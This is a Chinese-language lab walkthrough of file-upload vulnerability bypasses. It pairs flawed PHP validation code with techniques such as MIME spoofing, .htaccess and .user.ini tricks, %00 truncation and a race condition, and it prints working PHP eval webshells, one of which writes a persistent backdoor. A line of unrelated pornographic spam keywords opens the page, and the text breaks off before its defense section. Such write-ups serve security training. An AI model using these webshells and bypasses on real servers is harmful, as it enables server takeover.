国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Web安全:文件上傳漏洞測試(防止 黑客利用此漏洞.)

這篇具有很好參考價值的文章主要介紹了Web安全:文件上傳漏洞測試(防止 黑客利用此漏洞.)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

Web安全:文件上傳漏洞測試.

現在大多的網站和Web應用系統(tǒng)都會有上傳功能(比如:文檔,圖片,頭像,視頻上傳等.),而程序員在開發(fā)文件上傳功能時,沒有對代碼做嚴格校驗上傳文件的后綴和文件類型,此時攻擊者就可以上傳一個與網站腳本語言相對應的惡意代碼動態(tài)腳本,例如(php,jsp、aspx,asp文件后綴)到服務器上,并將惡意文件傳遞給網站腳本語言去執(zhí)行,然后就可以在服務器上執(zhí)行惡意代碼,進行數據庫執(zhí)行、服務器文件管理,服務器命令執(zhí)行等惡意操作.


目錄:

Web安全:文件上傳漏洞測試.

文件上傳漏洞危害:

編寫一句話程序:

文件上傳漏洞 實戰(zhàn)測試:

(1)前端 對不合法圖片進行檢查!

(2)后端 對數據的 文件類型 進行檢查!

(3)后端 對數據的 擴展名(后綴) 進行檢查!(使用 雙寫繞過)

(4)后端 對大多數的數據?擴展名(后綴) 進行檢查?。ㄊ褂?.htaccess 文件繞過)

(5)后端?上傳目錄存在 php 文件(利用 .user.ini 文件繞過)

(6)利用 大小寫繞過.

(7)利用 php后面加一個空格 繞過.

(8)利用 php后面加一個點 . 繞過.

(9)利用?末尾文件流?繞過.

(10)在 php 后綴添加 (.空格.)進行繞過.

(11)把?php 后綴改為中 pphphp 進行繞過.

(12)在文件存儲路徑中 利用 %00?截斷?進行繞過.(GET %00截斷)

(13)在文件存儲路徑中 利用 %00?截斷?進行繞過.(POST?%00 截斷)

(14)利用 圖片馬 進行繞過.(存在 文件包含漏洞 才行.)

(15)利用 不斷上傳生成新的文件?進行繞過.

(16)涉及到 數組和文件類型 的進行繞過.

文件上傳漏洞的防御:


文件上傳漏洞危害:

(1)上傳漏洞與SQL注入或 XSS相比,其風險更大,如果 Web應用程序存在上傳漏洞,攻擊者上傳的
文件是Web腳本語言,服務器的Web容器解釋并執(zhí)行了用戶上傳的腳本,導致代碼執(zhí)行.

(2)但是攻擊者要是上傳的文件是病毒、木馬文件,就可以誘騙用戶或者管理員下載執(zhí)行。如果上傳
的文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執(zhí)行,被用于釣魚和欺
詐。甚至攻擊者可以直接上傳一個webshell到服務器上 完全控制系統(tǒng)或致使系統(tǒng)癱瘓.

編寫一句話程序:

<?php phpinfo();?>                //測試
<?php                                //一句話木馬程序
    @eval($_POST['bgxg']);
?>

文件上傳漏洞 實戰(zhàn)測試:

(1)前端 對不合法圖片進行檢查!

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

我們把 一句話程序(木馬) 的后綴改為一個合法的( jpg文件 ),在上傳時候的打開 Burp 進行抓包.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

使用連接工具進行:連接(菜刀)

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請選擇要上傳的文件!");
        return false;
    }
    //定義允許上傳的文件類型
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳文件的類型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳文件類型是否允許上傳
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;
        alert(errMsg);
        return false;
    }
}

(2)后端 對數據的 文件類型 進行檢查!

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

通過burp抓包,修改文件類型為 image/gif、image/jpeg、image/png,image/jpeg

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '文件類型不正確,請重新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夾不存在,請手工創(chuàng)建!';
    }
}

(3)后端 對數據的 擴展名(后綴) 進行檢查!(使用 雙寫繞過)

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

在文件的后綴加 ::$D::$DATAATA            // 雙寫繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(4)后端 對大多數的數據?擴展名(后綴) 進行檢查?。ㄊ褂?.htaccess 文件繞過)

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在源碼中對擴展名進行了黑名單限制,所限制的文件類型不全,可上傳.htaccess 文件可利用該文件解析
規(guī)則增加新的可執(zhí)行的擴展名.bgxg 繞過,文件內容如下:

AddType application/x-httpd-php .bgxg

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

然后把這個文件上傳 .htaccess

上傳后,我們再上傳我們的 .bgxg 后綴文件就行.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(5)后端?上傳目錄存在 php 文件(利用 .user.ini 文件繞過)

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

.user.ini 文件中的內容:

auto_append_file=文件名字.png
在 圖片中添加 的內容:

<?php                             
    @eval($_POST['bgxg']);
?>

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

上傳 .user.ini 文件,然后再把 txt文件 上傳.

然后再進行訪問這個圖片(看看有沒有被執(zhí)行里面的代碼),再使用工具連接.
程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(6)利用 大小寫繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

上傳 PHp后綴 的文件.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(7)利用 php后面加一個空格 繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件不允許上傳';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(8)利用 php后面加一個點 . 繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(9)利用?末尾文件流?繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

在 php 后綴后面添加 ::$DATA

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(10)在 php 后綴添加 (.空格.)進行繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

把 .php 后綴后面添加. .

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(11)把?php 后綴改為中 pphphp 進行繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

把?.php 后綴改為中 .pphphp 進行繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創(chuàng)建!';
    }
}

(12)在文件存儲路徑中 利用 %00?截斷?進行繞過.(GET %00截斷)

采用 %00 截斷,需要的php版本<5.3.4,還要將【magic_quotes_gpc】參數關閉

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

在文件的路徑中添加 一個自己想要的文件名.(bgxg.php),在后面再添加 %00
//這個是用來保存我們上傳文件的內容.

再把我們上傳的文件名改為一個合法的 .jpg 文件

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

然后再去訪問 bgxg.php 文件,利用工具連接就行.
程序代碼:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

(13)在文件存儲路徑中 利用 %00?截斷?進行繞過.(POST?%00 截斷)

采用 %00 截斷,需要的php版本<5.3.4,還要將【magic_quotes_gpc】參數關閉

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

在文件的路徑中添加 一個自己想要的文件名.(bgxg.php),在后面再添加 %00 
%00 再改為十六進制的
//這個是用來保存我們上傳文件的內容.

再把我們上傳的文件名改為一個合法的 .jpg 文件

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

然后再去訪問 bgxg.php 文件,利用工具連接就行.
程序代碼:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

(14)利用 圖片馬 進行繞過.(存在 文件包含漏洞 才行.)

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

原理:上傳一個圖片木馬,然后用文件包含漏洞去解析這個圖片,從而讓里面的代碼執(zhí)行.
制作一個圖片木馬.(010Editor 工具)

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

然后進行上傳,再找到存在文件包含漏洞的地方,去利用這個漏洞去解析圖片中的木馬,再使用連接工具
進行連接.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節(jié)
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上傳失??!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯!";
        }
    }
}

(15)利用 不斷上傳生成新的文件?進行繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

原理:把文件上傳之后進行檢查,發(fā)現是不合法的文件則刪除,所以我們可以上傳一個文件木馬,然后
不停的訪問,讓他在那個上傳路徑中生成出一個新的文件.
上傳訪問這個文件,進行生成新的文件(bgxg.php),文件內容:

<?php fputs(fopen('bgxg.php','w'),'<?php @eval($_POST["bgxg"]); ?>'); ?>

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在 1.php 上傳時候的打開 Burp 進行抓包,然后發(fā)給測試器,然后放包.

在 測試器 中 添加 ?_t=$1$

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

我們隨便上傳一個文件,查看它的存儲目錄在哪,然后進行訪問我們上傳的 1.php 抓包,然后發(fā)給
測試器,然后放包.

在 測試器 中 添加 ?_t=$1$

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

